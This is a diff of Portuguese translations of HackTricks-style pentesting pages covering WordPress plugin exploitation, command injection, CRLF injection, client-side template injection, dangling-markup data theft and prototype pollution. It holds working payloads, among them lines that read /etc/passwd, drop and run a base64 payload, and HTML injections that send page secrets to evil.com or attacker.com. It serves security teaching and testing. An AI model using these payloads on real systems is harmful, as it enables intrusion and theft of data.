1. **Aquisição do Plugin**: O plugin é obtido de uma fonte como o Exploit DB como [**aqui**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Instalação do Plugin**:
|
||||
- Navegue até o painel do WordPress, em seguida, vá para `Dashboard > Plugins > Upload Plugin`.
|
||||
- Navegue até o painel do WordPress, em seguida vá para `Dashboard > Plugins > Upload Plugin`.
|
||||
- Faça o upload do arquivo zip do plugin baixado.
|
||||
3. **Ativação do Plugin**: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do painel.
|
||||
4. **Exploração**:
|
||||
- Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado, pois é conhecido por ser vulnerável.
|
||||
- O framework Metasploit fornece um exploit para essa vulnerabilidade. Carregando o módulo apropriado e executando comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
|
||||
- É importante notar que este é apenas um dos muitos métodos para explorar um site WordPress.
|
||||
- É observado que este é apenas um dos muitos métodos para explorar um site WordPress.
|
||||
|
||||
O conteúdo inclui auxílios visuais que retratam os passos no painel do WordPress para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como pentesting com permissão explícita.
|
||||
O conteúdo inclui recursos visuais que retratam os passos no painel do WordPress para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como testes de penetração com permissão explícita.
|
||||
|
||||
**Para passos mais detalhados, confira:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
@ -332,11 +334,11 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Superfície de Ataque
|
||||
|
||||
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em sua funcionalidade. Você pode encontrar como um plugin pode expor funcionalidades nos seguintes pontos e alguns exemplos de plugins vulneráveis em [**este post do blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em sua funcionalidade. Você pode descobrir como um plugin pode expor funcionalidades nos seguintes pontos e alguns exemplos de plugins vulneráveis em [**este post do blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`** 
|
||||
|
||||
Uma das maneiras que um plugin pode expor funções para uso é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante comum que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente de seu papel).
|
||||
Uma das maneiras que um plugin pode expor funções para os usuários é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante comum que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente de seu papel).
|
||||
|
||||
Estas são as funções que podem ser usadas para expor uma função em um plugin:
|
||||
```php
|
||||
@ -346,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**O uso de `nopriv` torna o endpoint acessível a qualquer usuário (mesmo não autenticados).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função está apenas verificando se o usuário está logado, geralmente não está verificando o papel do usuário. Assim, usuários com privilégios baixos podem ter acesso a ações de altos privilégios.
|
||||
> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função está apenas verificando se o usuário está logado, geralmente não está verificando o papel do usuário. Assim, usuários com baixos privilégios podem ter acesso a ações de altos privilégios.
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -378,7 +380,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Além disso, **instale apenas plugins e temas confiáveis do WordPress**.
|
||||
Além disso, **instale apenas plugins e temas do WordPress confiáveis**.
|
||||
|
||||
### Plugins de Segurança
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
### Cabeçalho Host
|
||||
|
||||
Várias vezes o back-end confia no **Cabeçalho Host** para realizar algumas ações. Por exemplo, ele pode usar seu valor como o **domínio para enviar um reset de senha**. Assim, quando você recebe um e-mail com um link para redefinir sua senha, o domínio utilizado é aquele que você colocou no Cabeçalho Host. Então, você pode solicitar o reset de senha de outros usuários e mudar o domínio para um controlado por você para roubar seus códigos de reset de senha. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Várias vezes o back-end confia no **cabeçalho Host** para realizar algumas ações. Por exemplo, ele pode usar seu valor como o **domínio para enviar um reset de senha**. Assim, quando você recebe um e-mail com um link para redefinir sua senha, o domínio utilizado é aquele que você colocou no cabeçalho Host. Então, você pode solicitar o reset de senha de outros usuários e mudar o domínio para um controlado por você para roubar seus códigos de reset de senha. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
> [!WARNING]
|
||||
> Note que é possível que você não precise nem esperar o usuário clicar no link de redefinição de senha para obter o token, pois talvez até mesmo **filtros de spam ou outros dispositivos/bots intermediários cliquem nele para analisá-lo**.
|
||||
@ -12,7 +12,7 @@ Várias vezes o back-end confia no **Cabeçalho Host** para realizar algumas aç
|
||||
### Booleanos de Sessão
|
||||
|
||||
Às vezes, quando você completa alguma verificação corretamente, o back-end **apenas adiciona um booleano com o valor "True" a um atributo de segurança da sua sessão**. Então, um endpoint diferente saberá se você passou com sucesso naquela verificação.\
|
||||
No entanto, se você **passar a verificação** e sua sessão receber aquele valor "True" no atributo de segurança, você pode tentar **acessar outros recursos** que **dependem do mesmo atributo** mas que você **não deveria ter permissões** para acessar. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
No entanto, se você **passar a verificação** e sua sessão receber esse valor "True" no atributo de segurança, você pode tentar **acessar outros recursos** que **dependem do mesmo atributo** mas que você **não deveria ter permissões** para acessar. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Funcionalidade de Registro
|
||||
|
||||
@ -24,11 +24,13 @@ Registre um e-mail, antes de confirmá-lo, mude o e-mail, então, se o novo e-ma
|
||||
|
||||
### Acessar o Servicedesk Interno de Empresas Usando Atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### Método TRACE
|
||||
|
||||
Os desenvolvedores podem esquecer de desativar várias opções de depuração no ambiente de produção. Por exemplo, o método HTTP `TRACE` é projetado para fins de diagnóstico. Se habilitado, o servidor web responderá a solicitações que usam o método `TRACE` ecoando na resposta a exata solicitação que foi recebida. Esse comportamento é frequentemente inofensivo, mas ocasionalmente leva à divulgação de informações, como o nome de cabeçalhos de autenticação internos que podem ser anexados a solicitações por proxies reversos. 
|
||||
Os desenvolvedores podem esquecer de desativar várias opções de depuração no ambiente de produção. Por exemplo, o método HTTP `TRACE` é projetado para fins de diagnóstico. Se habilitado, o servidor web responderá a solicitações que usam o método `TRACE` ecoando na resposta a exata solicitação que foi recebida. Esse comportamento é frequentemente inofensivo, mas ocasionalmente leva à divulgação de informações, como o nome de cabeçalhos de autenticação internos que podem ser anexados a solicitações por proxies reversos.
|
||||
|
||||
|
||||
|
||||
|
||||
@ -32,6 +32,8 @@ Para **burlar** o captcha durante os **testes de servidor** e automatizar funç
|
||||
|
||||
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) é um serviço alimentado por IA que se especializa em resolver automaticamente vários tipos de captchas, capacitando a coleta de dados ao ajudar desenvolvedores a superar facilmente os desafios de captcha encontrados durante a Web Scraping. Ele suporta captchas como **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest e Cloudflare turnstile, entre outros**. Para desenvolvedores, o Capsolver oferece opções de integração de API detalhadas na [**documentação**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** facilitando a integração da solução de captcha em aplicações. Eles também fornecem extensões de navegador para [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) e [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), facilitando o uso de seu serviço diretamente em um navegador. Diferentes pacotes de preços estão disponíveis para atender a diversas necessidades, garantindo flexibilidade para os usuários.
|
||||
|
||||
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Resumo
|
||||
|
||||
É como uma [**Injeção de Template do Lado do Servidor**](ssti-server-side-template-injection/) mas no **cliente**. A **SSTI** pode permitir que você **execute código** no servidor remoto, a **CSTI** pode permitir que você **execute código JavaScript** arbitrário no navegador da vítima.
|
||||
@ -24,8 +23,7 @@ Em cenários onde a entrada do usuário é inserida dinamicamente no corpo HTML
|
||||
```
|
||||
Você pode encontrar um **exemplo online muito básico** da vulnerabilidade em **AngularJS** em [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) e em [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
||||
|
||||
> [!CAUTION]
|
||||
> [**Angular 1.6 removeu o sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), então a partir desta versão, um payload como `{{constructor.constructor('alert(1)')()}}` ou `<input ng-focus=$event.view.alert('XSS')>` deve funcionar.
|
||||
> [!CAUTION] > [**Angular 1.6 removeu o sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) então a partir desta versão um payload como `{{constructor.constructor('alert(1)')()}}` ou `<input ng-focus=$event.view.alert('XSS')>` deve funcionar.
|
||||
|
||||
## VueJS
|
||||
|
||||
@ -73,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
||||
|
||||
## **Lista de Detecção de Força Bruta**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,15 +1,14 @@
|
||||
# Injeção de Comando
|
||||
# Command Injection
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## O que é Injeção de Comando?
|
||||
## O que é injeção de comando?
|
||||
|
||||
Uma **injeção de comando** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos geralmente permite que o atacante obtenha acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
|
||||
|
||||
### Contexto
|
||||
|
||||
Dependendo de **onde sua entrada está sendo injetada**, você pode precisar **terminar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
|
||||
Dependendo de **onde sua entrada está sendo injetada**, você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
|
||||
|
||||
## Injeção/Execução de Comando
|
||||
```bash
|
||||
@ -30,7 +29,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Bypasses de Limitação**
|
||||
### **Limitações** Bypasses
|
||||
|
||||
Se você está tentando executar **comandos arbitrários dentro de uma máquina linux**, você vai se interessar em ler sobre esses **Bypasses:**
|
||||
|
||||
@ -46,7 +45,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Parâmetros
|
||||
|
||||
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a injeção de código e vulnerabilidades semelhantes de RCE (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a injeção de código e vulnerabilidades RCE semelhantes (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
## Lista de Detecção de Força Bruta
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@ -2,8 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
### CRLF
|
||||
|
||||
Carriage Return (CR) e Line Feed (LF), coletivamente conhecidos como CRLF, são sequências de caracteres especiais usadas no protocolo HTTP para denotar o fim de uma linha ou o início de uma nova. Servidores web e navegadores usam CRLF para distinguir entre cabeçalhos HTTP e o corpo de uma resposta. Esses caracteres são universalmente empregados em comunicações HTTP/1.1 em vários tipos de servidores web, como Apache e Microsoft IIS.
|
||||
@ -20,7 +18,7 @@ Considere um arquivo de log em um painel de administração que segue o formato:
|
||||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home
|
||||
```
|
||||
Um atacante pode explorar uma injeção de CRLF para manipular este log. Ao injetar caracteres CRLF na solicitação HTTP, o atacante pode alterar o fluxo de saída e fabricar entradas de log. Por exemplo, uma sequência injetada pode transformar a entrada do log em:
|
||||
Um atacante pode explorar uma injeção CRLF para manipular este log. Ao injetar caracteres CRLF na solicitação HTTP, o atacante pode alterar o fluxo de saída e fabricar entradas de log. Por exemplo, uma sequência injetada pode transformar a entrada do log em:
|
||||
```
|
||||
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
@ -33,13 +31,13 @@ IP - Time - Visited Path
|
||||
```
|
||||
O atacante, assim, encobre suas atividades maliciosas fazendo parecer que o localhost (uma entidade tipicamente confiável dentro do ambiente do servidor) realizou as ações. O servidor interpreta a parte da consulta que começa com `%0d%0a` como um único parâmetro, enquanto o parâmetro `restrictedaction` é analisado como outra entrada separada. A consulta manipulada efetivamente imita um comando administrativo legítimo: `/index.php?page=home&restrictedaction=edit`
|
||||
|
||||
### Divisão de Resposta HTTP
|
||||
### HTTP Response Splitting
|
||||
|
||||
#### Descrição
|
||||
|
||||
A Divisão de Resposta HTTP é uma vulnerabilidade de segurança que surge quando um atacante explora a estrutura das respostas HTTP. Essa estrutura separa os cabeçalhos do corpo usando uma sequência de caracteres específica, Carriage Return (CR) seguido por Line Feed (LF), coletivamente chamados de CRLF. Se um atacante conseguir inserir uma sequência CRLF em um cabeçalho de resposta, ele pode efetivamente manipular o conteúdo da resposta subsequente. Esse tipo de manipulação pode levar a sérios problemas de segurança, notavelmente Cross-site Scripting (XSS).
|
||||
HTTP Response Splitting é uma vulnerabilidade de segurança que surge quando um atacante explora a estrutura das respostas HTTP. Essa estrutura separa os cabeçalhos do corpo usando uma sequência de caracteres específica, Carriage Return (CR) seguido por Line Feed (LF), coletivamente denominado CRLF. Se um atacante conseguir inserir uma sequência CRLF em um cabeçalho de resposta, ele pode efetivamente manipular o conteúdo da resposta subsequente. Esse tipo de manipulação pode levar a sérios problemas de segurança, notavelmente Cross-site Scripting (XSS).
|
||||
|
||||
#### XSS através da Divisão de Resposta HTTP
|
||||
#### XSS através de HTTP Response Splitting
|
||||
|
||||
1. A aplicação define um cabeçalho personalizado assim: `X-Custom-Header: UserInput`
|
||||
2. A aplicação busca o valor para `UserInput` de um parâmetro de consulta, digamos "user_input". Em cenários que carecem de validação e codificação adequadas de entrada, um atacante pode criar um payload que inclui a sequência CRLF, seguida de conteúdo malicioso.
|
||||
@ -47,7 +45,7 @@ A Divisão de Resposta HTTP é uma vulnerabilidade de segurança que surge quand
|
||||
- Nesta URL, `%0d%0a%0d%0a` é a forma codificada em URL de CRLFCRLF. Isso engana o servidor para inserir uma sequência CRLF, fazendo com que o servidor trate a parte subsequente como o corpo da resposta.
|
||||
4. O servidor reflete a entrada do atacante no cabeçalho da resposta, levando a uma estrutura de resposta não intencional onde o script malicioso é interpretado pelo navegador como parte do corpo da resposta.
|
||||
|
||||
#### Um exemplo de Divisão de Resposta HTTP levando a Redirecionamento
|
||||
#### Um exemplo de HTTP Response Splitting levando a Redirecionamento
|
||||
|
||||
De [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
|
||||
|
||||
@ -72,11 +70,13 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
|
||||
```
|
||||
Confira mais exemplos em:
|
||||
|
||||
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
|
||||
{{#endref}}
|
||||
|
||||
### Injeção de Cabeçalho HTTP
|
||||
|
||||
A Injeção de Cabeçalho HTTP, frequentemente explorada através da injeção CRLF (Carriage Return and Line Feed), permite que atacantes insiram cabeçalhos HTTP. Isso pode comprometer mecanismos de segurança, como filtros XSS (Cross-Site Scripting) ou a SOP (Same-Origin Policy), potencialmente levando ao acesso não autorizado a dados sensíveis, como tokens CSRF, ou à manipulação de sessões de usuário através do plantio de cookies.
|
||||
A Injeção de Cabeçalho HTTP, frequentemente explorada através da injeção CRLF (Carriage Return and Line Feed), permite que atacantes insiram cabeçalhos HTTP. Isso pode comprometer mecanismos de segurança, como filtros XSS (Cross-Site Scripting) ou a SOP (Same-Origin Policy), levando potencialmente ao acesso não autorizado a dados sensíveis, como tokens CSRF, ou à manipulação de sessões de usuário através do plantio de cookies.
|
||||
|
||||
#### Explorando CORS via Injeção de Cabeçalho HTTP
|
||||
|
||||
@ -117,7 +117,7 @@ Você pode injetar cabeçalhos essenciais para garantir que o **back-end mantenh
|
||||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
Após isso, uma segunda solicitação pode ser especificada. Este cenário geralmente envolve [HTTP request smuggling](http-request-smuggling/), uma técnica onde cabeçalhos ou elementos de corpo extras adicionados pelo servidor após a injeção podem levar a várias explorações de segurança.
|
||||
Após isso, uma segunda solicitação pode ser especificada. Este cenário geralmente envolve [HTTP request smuggling](http-request-smuggling/), uma técnica onde cabeçalhos extras ou elementos de corpo adicionados pelo servidor após a injeção podem levar a várias explorações de segurança.
|
||||
|
||||
**Exploração:**
|
||||
|
||||
@ -197,6 +197,4 @@ Para mitigar os riscos de injeções CRLF (Carriage Return e Line Feed) ou HTTP
|
||||
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -13,7 +13,7 @@ Várias técnicas comentadas aqui podem ser usadas para contornar algumas [**Con
|
||||
|
||||
### Roubo de segredos em texto claro
|
||||
|
||||
Se você injetar `<img src='http://evil.com/log.cgi?` quando a página for carregada, a vítima enviará todo o código entre a tag `img` injetada e a próxima aspa dentro do código. Se um segredo estiver de alguma forma localizado naquele trecho, você o roubará (você pode fazer a mesma coisa usando uma aspa dupla, veja qual poderia ser mais interessante usar).
|
||||
Se você injetar `<img src='http://evil.com/log.cgi?` quando a página for carregada, a vítima enviará todo o código entre a tag `img` injetada e a próxima aspa dentro do código. Se um segredo estiver de alguma forma localizado naquele trecho, você o roubará (você pode fazer a mesma coisa usando uma aspa dupla, veja qual poderia ser mais interessante de usar).
|
||||
|
||||
Se a tag `img` for proibida (devido ao CSP, por exemplo), você também pode usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
```html
|
||||
@ -73,7 +73,7 @@ Você pode fazer a mesma coisa injetando um formulário e uma tag `<option>`. To
|
||||
```
|
||||
### Injeção de parâmetro de formulário
|
||||
|
||||
Você pode alterar o caminho de um formulário e inserir novos valores para que uma ação inesperada seja executada:
|
||||
Você pode alterar o caminho de um formulário e inserir novos valores para que uma ação inesperada seja realizada:
|
||||
```html
|
||||
<form action="/change_settings.php">
|
||||
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
|
||||
@ -101,7 +101,7 @@ A partir desta [pesquisa do portswigger](https://portswigger.net/research/evadin
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
Observe que você pedirá à **vítima** para **clicar em um link** que a **redirecionará** para um **payload** controlado por você. Também note que o atributo **`target`** dentro da tag **`base`** conterá **conteúdo HTML** até a próxima aspa simples.\
|
||||
Observe que você pedirá à **vítima** para **clicar em um link** que a **redirecionará** para um **payload** controlado por você. Também observe que o atributo **`target`** dentro da tag **`base`** conterá **conteúdo HTML** até a próxima aspa simples.\
|
||||
Isso fará com que o **valor** de **`window.name`** se o link for clicado seja todo aquele **conteúdo HTML**. Portanto, como você **controla a página** onde a vítima está acessando ao clicar no link, você pode acessar esse **`window.name`** e **exfiltrar** esses dados:
|
||||
```html
|
||||
<script>
|
||||
@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
|
||||
```
|
||||
Isso pode ser mitigado com algo como: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
Um iframe também pode ser abusado para vazar informações sensíveis de uma página diferente **usando o atributo name do iframe**. Isso ocorre porque você pode criar um iframe que se iframe a si mesmo abusando da injeção HTML que faz com que as **informações sensíveis apareçam dentro do atributo name do iframe** e, em seguida, acessar esse nome a partir do iframe inicial e vazá-lo.
|
||||
Um iframe também pode ser abusado para vazar informações sensíveis de uma página diferente **usando o atributo name do iframe**. Isso ocorre porque você pode criar um iframe que se iframe, abusando da injeção HTML que faz com que as **informações sensíveis apareçam dentro do atributo name do iframe** e, em seguida, acessar esse nome a partir do iframe inicial e vazar.
|
||||
```html
|
||||
<script>
|
||||
function cspBypass(win) {
|
||||
@ -178,26 +178,26 @@ onload="cspBypass(this.contentWindow)"></iframe>
|
||||
```
|
||||
Para mais informações, consulte [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||||
|
||||
### \<meta abuse
|
||||
### \<meta abuso
|
||||
|
||||
Você pode usar **`meta http-equiv`** para realizar **várias ações** como definir um Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ou realizar um redirecionamento (em 5s neste caso): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||||
|
||||
Isso pode ser **evitado** com um **CSP** em relação ao **http-equiv** ( `Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)
|
||||
|
||||
### Novo \<portal HTML tag
|
||||
### Novo \<portal tag HTML
|
||||
|
||||
Você pode encontrar uma pesquisa muito **interessante** sobre vulnerabilidades exploráveis do \<portal tag [aqui](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
No momento da escrita, você precisa habilitar a tag portal no Chrome em `chrome://flags/#enable-portals` ou não funcionará.
|
||||
Você pode encontrar uma **pesquisa muito interessante** sobre vulnerabilidades exploráveis da tag \<portal [aqui](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
No momento em que este texto foi escrito, você precisa habilitar a tag portal no Chrome em `chrome://flags/#enable-portals` ou não funcionará.
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
```
|
||||
### HTML Leaks
|
||||
### Vazamentos de HTML
|
||||
|
||||
Nem todas as maneiras de vazar conectividade em HTML serão úteis para Dangling Markup, mas às vezes podem ajudar. Confira aqui: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
|
||||
## SS-Leaks
|
||||
|
||||
Isso é uma **mistura** entre **dangling markup e XS-Leaks**. De um lado, a vulnerabilidade permite **injetar HTML** (mas não JS) em uma página da **mesma origem** da que estaremos atacando. Do outro lado, não iremos **atacar** diretamente a página onde podemos injetar HTML, mas **outra página**.
|
||||
Isso é uma **mistura** entre **dangling markup e XS-Leaks**. De um lado, a vulnerabilidade permite **injetar HTML** (mas não JS) em uma página da **mesma origem** da que estaremos atacando. Por outro lado, não iremos **atacar** diretamente a página onde podemos injetar HTML, mas **outra página**.
|
||||
|
||||
{{#ref}}
|
||||
ss-leaks.md
|
||||
@ -211,11 +211,13 @@ XS-Search é orientado a **exfiltrar informações de origem cruzada** abusando
|
||||
../xs-search/
|
||||
{{#endref}}
|
||||
|
||||
## Brute-Force Detection List
|
||||
## Lista de Detecção de Força Bruta
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
|
||||
- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
|
||||
|
||||
@ -41,7 +41,7 @@ Funções como `toString` e `valueOf` podem ser alteradas para mudar seu comport
|
||||
|
||||
Na programação baseada em protótipos, propriedades/métodos são herdados por objetos de classes. Essas classes são criadas adicionando propriedades/métodos a uma instância de outra classe ou a um objeto vazio.
|
||||
|
||||
Deve-se notar que, quando uma propriedade é adicionada a um objeto que serve como protótipo para outros objetos (como `myPersonObj`), os objetos que herdam ganham acesso a essa nova propriedade. No entanto, essa propriedade não é exibida automaticamente, a menos que seja invocada explicitamente.
|
||||
Deve-se notar que, quando uma propriedade é adicionada a um objeto que serve como protótipo para outros objetos (como `myPersonObj`), os objetos herdantes ganham acesso a essa nova propriedade. No entanto, essa propriedade não é exibida automaticamente, a menos que seja invocada explicitamente.
|
||||
|
||||
## \_\_proto\_\_ poluição <a href="#id-0d0a" id="id-0d0a"></a>
|
||||
|
||||
@ -56,12 +56,12 @@ this.model = model
|
||||
}
|
||||
var car1 = new Vehicle("Tesla Model S")
|
||||
```
|
||||
O acesso ao protótipo de Object é possível através de:
|
||||
O acesso ao protótipo Object é possível através de:
|
||||
```javascript
|
||||
car1.__proto__.__proto__
|
||||
Vehicle.__proto__.__proto__
|
||||
```
|
||||
Ao adicionar propriedades ao protótipo do Object, todos os objetos JavaScript herdarão essas novas propriedades:
|
||||
Ao adicionar propriedades ao protótipo do Object, todo objeto JavaScript herdará essas novas propriedades:
|
||||
```javascript
|
||||
function Vehicle(model) {
|
||||
this.model = model
|
||||
@ -173,7 +173,7 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
||||
|
||||
Uma poluição de protótipo ocorre devido a uma falha na aplicação que permite sobrescrever propriedades em `Object.prototype`. Isso significa que, uma vez que a maioria dos objetos deriva suas propriedades de `Object.prototype`
|
||||
|
||||
O exemplo mais simples é adicionar um valor a um **atributo indefinido de um objeto** que será verificado, como:
|
||||
O exemplo mais fácil é adicionar um valor a um **atributo indefinido de um objeto** que será verificado, como:
|
||||
```javascript
|
||||
if (user.admin) {
|
||||
```
|
||||
@ -228,7 +228,9 @@ Esta vulnerabilidade, identificada como CVE-2019–11358, ilustra como uma cópi
|
||||
|
||||
### Outro tutorial com CVEs
|
||||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
|
||||
{{#endref}}
|
||||
|
||||
### Ferramentas para detectar Poluição de Protótipo
|
||||
|
||||
@ -283,7 +285,7 @@ Este código demonstra como um atacante poderia injetar código arbitrário em u
|
||||
|
||||
